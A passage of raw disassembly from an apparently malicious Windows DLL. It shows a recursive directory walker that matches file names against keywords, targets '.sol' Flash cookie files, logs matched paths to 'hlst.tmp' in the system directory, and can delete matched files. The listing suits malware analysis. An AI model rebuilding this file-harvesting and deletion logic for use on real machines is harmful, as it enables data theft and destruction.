loc_10007B30:				; CODE XREF: sub_1000741F+BAj
					; sub_1000741F+C7j
		mov	esp, ebp
		pop	ebp
		retn
sub_1000741F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10007B34(char	*Str, int, int,	LPCSTR lpString2, DWORD	dwMilliseconds)

sub_10007B34	proc near		; CODE XREF: sub_10007B34+15Dp
					; sub_1000A318+743p ...

Buffer		= byte ptr -0C54h
Dest		= byte ptr -0B54h
var_A54		= dword	ptr -0A54h
FindFileData	= _WIN32_FIND_DATAA ptr	-0A50h
String1		= byte ptr -910h
var_810		= dword	ptr -810h
hObject		= dword	ptr -80Ch
String2		= byte ptr -808h
var_408		= dword	ptr -408h
NumberOfBytesWritten= dword ptr	-404h
FileName	= byte ptr -400h
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
lpString2	= dword	ptr  14h
dwMilliseconds	= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C54h
		mov	[ebp+var_810], 1
		mov	[ebp+var_A54], 0
		mov	[ebp+var_408], 0
		push	5Ch		; Ch
		mov	eax, [ebp+Str]
		push	eax		; Str
		call	ds:strrchr	; strrchr
		add	esp, 8
		add	eax, 1
		push	eax		; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	edx, [ebp+Str]
		push	edx
		push	offset aS__1	; "%s\\*.*"
		lea	eax, [ebp+FileName]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	ecx, [ebp+FindFileData]
		push	ecx		; lpFindFileData
		lea	edx, [ebp+FileName]
		push	edx		; lpFileName
		call	ds:FindFirstFileA	; FindFirstFileA
		mov	ecx, dword_10034234
		mov	dword_10028200[ecx*4], eax
		mov	edx, dword_10034234
		cmp	dword_10028200[edx*4], 0FFFFFFFFh
		jz	loc_1000827B


loc_10007BC9:				; CODE XREF: sub_10007B34:loc_10008276j
		cmp	[ebp+var_810], 0
		jz	loc_1000827B
		mov	eax, [ebp+FindFileData.dwFileAttributes]
		and	eax, 10h
		test	eax, eax
		jz	loc_10007CD7
		push	offset a__3	; "."
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_10007CD7
		push	offset a___1	; ".."
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jz	loc_10007CD7
		mov	eax, dword_10034234
		add	eax, 1
		mov	dword_10034234,	eax
		push	0FFh		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, dword_10034234
		mov	lpBuffer[ecx*4], eax
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		mov	eax, dword_10034234
		mov	ecx, hHandle[eax*4]
		push	ecx
		push	offset aSS_7	; "%s\\%s"
		mov	edx, dword_10034234
		mov	eax, lpBuffer[edx*4]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	ecx, [ebp+dwMilliseconds]
		push	ecx		; dwMilliseconds
		mov	edx, [ebp+lpString2]
		push	edx		; lpString2
		mov	eax, [ebp+arg_8]
		push	eax		; int
		mov	ecx, [ebp+arg_4]
		push	ecx		; int
		mov	edx, dword_10034234
		mov	eax, lpBuffer[edx*4]
		push	eax		; Str
		call	sub_10007B34
		add	esp, 14h
		mov	ecx, dword_10034234
		mov	edx, dword_10028200[ecx*4]
		push	edx		; hFindFile
		call	ds:FindClose	; FindClose
		mov	eax, dword_10034234
		mov	ecx, lpBuffer[eax*4]
		push	ecx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	edx, dword_10034234
		sub	edx, 1
		mov	dword_10034234,	edx
		jmp	loc_10008245
; ---------------------------------------------------------------------------


loc_10007CD7:				; CODE XREF: sub_10007B34+ADj
					; sub_10007B34+C7j ...
		mov	eax, [ebp+FindFileData.dwFileAttributes]
		and	eax, 10h
		test	eax, eax
		jnz	loc_10008245
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx
		mov	edx, dword_10034234
		mov	eax, lpBuffer[edx*4]
		push	eax
		push	offset aSS_8	; "%s\\%s"
		lea	ecx, [ebp+String2]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		mov	[ebp+var_408], 0


loc_10007D1C:				; CODE XREF: sub_10007B34+213j
		mov	edx, [ebp+var_408]
		cmp	dword_1004B770[edx*4], 0
		jz	short loc_10007D49
		cmp	[ebp+var_408], 1000h
		jnb	short loc_10007D49
		mov	eax, [ebp+var_408]
		add	eax, 1
		mov	[ebp+var_408], eax
		jmp	short loc_10007D1C
; ---------------------------------------------------------------------------


loc_10007D49:				; CODE XREF: sub_10007B34+1F6j
					; sub_10007B34+202j
		cmp	[ebp+arg_4], 0
		jz	short loc_10007D5B
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx], 0
		jnz	loc_10007F90


loc_10007D5B:				; CODE XREF: sub_10007B34+219j
		cmp	[ebp+arg_8], 0
		jz	short loc_10007D6B
		cmp	[ebp+arg_8], 1
		jnz	loc_10007EC7


loc_10007D6B:				; CODE XREF: sub_10007B34+22Bj
		cmp	[ebp+var_408], 1000h
		jnb	loc_10007EC7
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_408]
		mov	dword_1004B770[edx*4], eax
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_408]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	dword ptr [ecx+100h], 0
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+104h], 0
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		add	eax, 108h
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx
		push	offset byte_10065ED8
		push	offset aS__S_0	; "%s__%s"
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		add	eax, 207h
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	offset a_sol_1	; ".sol"
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10007E77
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		lea	eax, [ebp+String1]
		push	eax
		push	offset byte_10065ED8
		push	offset aS__SS_1	; "%s__%s&&%s"
		mov	ecx, [ebp+var_408]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 207h
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 14h


loc_10007E77:				; CODE XREF: sub_10007B34+30Cj
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	edx, [ebp+var_408]
		mov	[ecx+308h], edx
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	edx, [ebp+arg_8]
		mov	[ecx+30Ch], edx
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10007EC7:				; CODE XREF: sub_10007B34+231j
					; sub_10007B34+241j
		cmp	[ebp+arg_8], 3
		jnz	loc_10007F8B
		push	0FFh		; uSize
		lea	edx, [ebp+Dest]
		push	edx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	eax, [ebp+Dest]
		push	eax
		push	offset aSHlst_tmp ; "%s\\hlst.tmp"
		lea	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	edx, [ebp+Dest]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		lea	edx, [ebp+String2]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; nNumberOfBytesToWrite
		lea	eax, [ebp+String2]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset asc_10022CE8 ; "\r\n"
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_10007F8B:				; CODE XREF: sub_10007B34+397j
		jmp	loc_10008245
; ---------------------------------------------------------------------------


loc_10007F90:				; CODE XREF: sub_10007B34+221j
		mov	[ebp+var_A54], 0


loc_10007F9A:				; CODE XREF: sub_10007B34+70Cj
		mov	edx, [ebp+var_A54]
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+edx*4], 0
		jz	loc_10008245
		cmp	[ebp+var_A54], 1000h
		jnb	loc_10008245
		mov	ecx, [ebp+var_A54]
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+ecx*4]
		push	eax		; SubStr
		lea	ecx, [ebp+String2]
		push	ecx		; Str
		call	ds:_strlwr	; _strlwr
		add	esp, 4
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_10008231
		cmp	[ebp+arg_8], 0
		jz	short loc_10007FFC
		cmp	[ebp+arg_8], 1
		jnz	loc_10008158


loc_10007FFC:				; CODE XREF: sub_10007B34+4BCj
		cmp	[ebp+var_408], 1000h
		jnb	loc_10008158
		push	310h		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_408]
		mov	dword_1004B770[edx*4], eax
		mov	eax, [ebp+lpString2]
		push	eax		; lpString2
		mov	ecx, [ebp+var_408]
		mov	edx, dword_1004B770[ecx*4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	dword ptr [ecx+100h], 0
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		mov	dword ptr [eax+104h], 0
		lea	ecx, [ebp+String2]
		push	ecx		; lpString2
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		add	eax, 108h
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx
		push	offset byte_10065ED8
		push	offset aS__S_1	; "%s__%s"
		mov	edx, [ebp+var_408]
		mov	eax, dword_1004B770[edx*4]
		add	eax, 207h
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		push	offset a_sol_2	; ".sol"
		lea	ecx, [ebp+FindFileData.cFileName]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10008108
		lea	edx, [ebp+FindFileData.cFileName]
		push	edx
		lea	eax, [ebp+String1]
		push	eax
		push	offset byte_10065ED8
		push	offset aS__SS_2	; "%s__%s&&%s"
		mov	ecx, [ebp+var_408]
		mov	edx, dword_1004B770[ecx*4]
		add	edx, 207h
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 14h


loc_10008108:				; CODE XREF: sub_10007B34+59Dj
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	edx, [ebp+var_408]
		mov	[ecx+308h], edx
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		mov	edx, [ebp+arg_8]
		mov	[ecx+30Ch], edx
		push	0		; lpThreadId
		push	0		; dwCreationFlags
		mov	eax, [ebp+var_408]
		mov	ecx, dword_1004B770[eax*4]
		push	ecx		; lpParameter
		push	offset StartAddress ; lpStartAddress
		push	0		; dwStackSize
		push	0		; lpThreadAttributes
		call	ds:CreateThread	; CreateThread


loc_10008158:				; CODE XREF: sub_10007B34+4C2j
					; sub_10007B34+4D2j
		cmp	[ebp+arg_8], 3
		jnz	loc_1000821C
		push	0FFh		; uSize
		lea	edx, [ebp+Buffer]
		push	edx		; lpBuffer
		call	ds:GetSystemDirectoryA	; GetSystemDirectoryA
		lea	eax, [ebp+Buffer]
		push	eax
		push	offset aSHlst_tmp_0 ; "%s\\hlst.tmp"
		lea	ecx, [ebp+Buffer]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		push	0		; hTemplateFile
		push	0		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	0		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		lea	edx, [ebp+Buffer]
		push	edx		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[ebp+hObject], eax
		push	2		; dwMoveMethod
		push	0		; lpDistanceToMoveHigh
		push	0		; lDistanceToMove
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		push	0		; lpOverlapped
		lea	ecx, [ebp+NumberOfBytesWritten]
		push	ecx		; lpNumberOfBytesWritten
		lea	edx, [ebp+String2]
		push	edx		; Str
		call	strlen	; strlen
		add	esp, 4
		push	eax		; nNumberOfBytesToWrite
		lea	eax, [ebp+String2]
		push	eax		; lpBuffer
		mov	ecx, [ebp+hObject]
		push	ecx		; hFile
		call	ds:WriteFile	; WriteFile
		push	0		; lpOverlapped
		lea	edx, [ebp+NumberOfBytesWritten]
		push	edx		; lpNumberOfBytesWritten
		push	2		; nNumberOfBytesToWrite
		push	offset asc_10022D14 ; "\r\n"
		mov	eax, [ebp+hObject]
		push	eax		; hFile
		call	ds:WriteFile	; WriteFile
		mov	ecx, [ebp+hObject]
		push	ecx		; hObject
		call	ds:CloseHandle	; CloseHandle


loc_1000821C:				; CODE XREF: sub_10007B34+628j
		cmp	[ebp+arg_8], 2
		jnz	short loc_1000822F
		lea	edx, [ebp+String2]
		push	edx		; lpFileName
		call	ds:DeleteFileA	; DeleteFileA


loc_1000822F:				; CODE XREF: sub_10007B34+6ECj
		jmp	short loc_10008245
; ---------------------------------------------------------------------------


loc_10008231:				; CODE XREF: sub_10007B34+4B2j
		mov	eax, [ebp+var_A54]
		add	eax, 1
		mov	[ebp+var_A54], eax
		jmp	loc_10007F9A
; ---------------------------------------------------------------------------


loc_10008245:				; CODE XREF: sub_10007B34+19Ej
					; sub_10007B34+1AEj ...
		lea	ecx, [ebp+FindFileData]
		push	ecx		; lpFindFileData
		mov	edx, dword_10034234
		mov	eax, dword_10028200[edx*4]
		push	eax		; hFindFile
		call	ds:FindNextFileA	; FindNextFileA
		mov	[ebp+var_810], eax
		cmp	[ebp+dwMilliseconds], 0
		jz	short loc_10008276
		mov	ecx, [ebp+dwMilliseconds]
		push	ecx		; dwMilliseconds
		call	ds:Sleep	; Sleep


loc_10008276:				; CODE XREF: sub_10007B34+736j
		jmp	loc_10007BC9
; ---------------------------------------------------------------------------


loc_1000827B:				; CODE XREF: sub_10007B34+8Fj
					; sub_10007B34+9Cj
		mov	esp, ebp
		pop	ebp
		retn
sub_10007B34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000827F(char, void *lpString1, int, int, int, int)

sub_1000827F	proc near		; CODE XREF: sub_1000878F+1D8p
					; sub_1000878F+2DDp ...

var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5C		= byte ptr -5Ch
var_50		= byte ptr -50h
var_4C		= byte ptr -4Ch
var_48		= byte ptr -48h
var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  8
lpString1	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_1000827F
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0C8h
		mov	[ebp+var_4], 0
		cmp	[ebp+arg_10], 0
		jnz	loc_10008493
		cmp	[ebp+arg_14], 0
		jnz	loc_1000838F
		push	0
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_78], eax
		mov	eax, [ebp+var_78]
		mov	[ebp+var_7C], eax
		mov	byte ptr [ebp+var_4], 1
		mov	ecx, [ebp+var_7C]
		call	sub_1001AA90
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+var_10], eax
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_14]
		call	sub_1001A728
		cmp	[ebp+var_10], 0
		jle	short loc_10008371
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_18]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_80], eax
		mov	ecx, [ebp+var_80]
		mov	[ebp+var_84], ecx
		mov	byte ptr [ebp+var_4], 2
		mov	ecx, [ebp+var_84]
		call	sub_1001AA90
		push	eax		; lpString2
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_18]
		call	sub_1001A728
		jmp	short loc_1000838F
; ---------------------------------------------------------------------------


loc_10008371:				; CODE XREF: sub_1000827F+7Ej
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		push	2		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_1000838F:				; CODE XREF: sub_1000827F+33j
					; sub_1000827F+F0j
		cmp	[ebp+arg_14], 1
		jnz	loc_1000848E
		push	0
		lea	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_1C]
		push	ecx
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_88], eax
		mov	edx, [ebp+var_88]
		mov	[ebp+var_8C], edx
		mov	byte ptr [ebp+var_4], 3
		mov	ecx, [ebp+var_8C]
		call	sub_1001AA61
		mov	eax, [eax]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+var_10], eax
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_1C]
		call	sub_1001A728
		cmp	[ebp+var_10], 0
		jle	short loc_10008470
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0
		lea	ecx, [ebp+var_38]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_90], eax
		mov	edx, [ebp+var_90]
		mov	[ebp+var_94], edx
		mov	byte ptr [ebp+var_4], 4
		mov	ecx, [ebp+var_94]
		call	sub_1001AA61
		mov	eax, [eax]
		push	eax		; lpString2
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_2C]
		call	sub_1001A728
		jmp	short loc_1000848E
; ---------------------------------------------------------------------------


loc_10008470:				; CODE XREF: sub_1000827F+171j
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		push	2		; Size
		push	0		; Val
		mov	edx, [ebp+lpString1]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_1000848E:				; CODE XREF: sub_1000827F+114j
					; sub_1000827F+1EFj
		jmp	loc_10008769
; ---------------------------------------------------------------------------


loc_10008493:				; CODE XREF: sub_1000827F+29j
		cmp	[ebp+arg_14], 0
		jnz	loc_100085F8
		push	0
		push	0
		mov	eax, [ebp+arg_10]
		push	eax
		lea	ecx, [ebp+var_40]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_3C]
		push	ecx
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_98], eax
		mov	edx, [ebp+var_98]
		mov	[ebp+var_9C], edx
		mov	byte ptr [ebp+var_4], 5
		mov	ecx, [ebp+var_9C]
		call	sub_1001A916
		mov	[ebp+var_A0], eax
		mov	eax, [ebp+var_A0]
		mov	[ebp+var_A4], eax
		mov	byte ptr [ebp+var_4], 6
		mov	ecx, [ebp+var_A4]
		call	sub_1001AA90
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+var_10], eax
		mov	byte ptr [ebp+var_4], 5
		lea	ecx, [ebp+var_40]
		call	sub_1001A728
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_3C]
		call	sub_1001A728
		cmp	[ebp+var_10], 0
		jle	loc_100085DA
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0
		push	0
		mov	ecx, [ebp+arg_10]
		push	ecx
		lea	edx, [ebp+var_48]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	edx, [ebp+var_44]
		push	edx
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_A8], eax
		mov	eax, [ebp+var_A8]
		mov	[ebp+var_AC], eax
		mov	byte ptr [ebp+var_4], 7
		mov	ecx, [ebp+var_AC]
		call	sub_1001A916
		mov	[ebp+var_B0], eax
		mov	ecx, [ebp+var_B0]
		mov	[ebp+var_B4], ecx
		mov	byte ptr [ebp+var_4], 8
		mov	ecx, [ebp+var_B4]
		call	sub_1001AA90
		push	eax		; lpString2
		mov	edx, [ebp+lpString1]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 7
		lea	ecx, [ebp+var_48]
		call	sub_1001A728
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_44]
		call	sub_1001A728
		jmp	short loc_100085F8
; ---------------------------------------------------------------------------


loc_100085DA:				; CODE XREF: sub_1000827F+2A6j
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		push	2		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_100085F8:				; CODE XREF: sub_1000827F+218j
					; sub_1000827F+359j
		cmp	[ebp+arg_14], 1
		jnz	loc_10008769
		push	0
		lea	ecx, [ebp+var_5C]
		push	ecx
		push	0
		mov	edx, [ebp+arg_10]
		push	edx
		lea	eax, [ebp+var_50]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_4C]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_B8], eax
		mov	ecx, [ebp+var_B8]
		mov	[ebp+var_BC], ecx
		mov	byte ptr [ebp+var_4], 9
		mov	ecx, [ebp+var_BC]
		call	sub_1001A916
		mov	[ebp+var_C0], eax
		mov	edx, [ebp+var_C0]
		mov	[ebp+var_C4], edx
		mov	byte ptr [ebp+var_4], 0Ah
		mov	ecx, [ebp+var_C4]
		call	sub_1001AA61
		mov	eax, [eax]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	[ebp+var_10], eax
		mov	byte ptr [ebp+var_4], 9
		lea	ecx, [ebp+var_50]
		call	sub_1001A728
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_4C]
		call	sub_1001A728
		cmp	[ebp+var_10], 0
		jle	loc_1000874B
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		push	ecx		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		mov	edx, [ebp+var_10]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+lpString1]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		push	0
		lea	ecx, [ebp+var_70]
		push	ecx
		push	0
		mov	edx, [ebp+arg_10]
		push	edx
		lea	eax, [ebp+var_64]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_60]
		push	eax
		lea	ecx, [ebp+arg_0]
		call	sub_1001A97C
		mov	[ebp+var_C8], eax
		mov	ecx, [ebp+var_C8]
		mov	[ebp+var_CC], ecx
		mov	byte ptr [ebp+var_4], 0Bh
		mov	ecx, [ebp+var_CC]
		call	sub_1001A916
		mov	[ebp+var_D0], eax
		mov	edx, [ebp+var_D0]
		mov	[ebp+var_D4], edx
		mov	byte ptr [ebp+var_4], 0Ch
		mov	ecx, [ebp+var_D4]
		call	sub_1001AA61
		mov	eax, [eax]
		push	eax		; lpString2
		mov	ecx, [ebp+lpString1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	byte ptr [ebp+var_4], 0Bh
		lea	ecx, [ebp+var_64]
		call	sub_1001A728
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_60]
		call	sub_1001A728
		jmp	short loc_10008769
; ---------------------------------------------------------------------------


loc_1000874B:				; CODE XREF: sub_1000827F+411j
		push	2		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	[ebp+lpString1], eax
		push	2		; Size
		push	0		; Val
		mov	edx, [ebp+lpString1]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch


loc_10008769:				; CODE XREF: sub_1000827F:loc_1000848Ej
					; sub_1000827F+37Dj ...
		mov	eax, [ebp+lpString1]
		mov	[ebp+var_74], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		lea	ecx, [ebp+arg_0]
		call	sub_1001A728
		mov	eax, [ebp+var_74]
		mov	ecx, [ebp+var_C]
		mov	large fs:0, ecx
		mov	esp, ebp
		pop	ebp
		retn
sub_1000827F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_1000878F(LPCSTR lpString2)

sub_1000878F	proc near		; CODE XREF: sub_1000B7EF+103p

var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
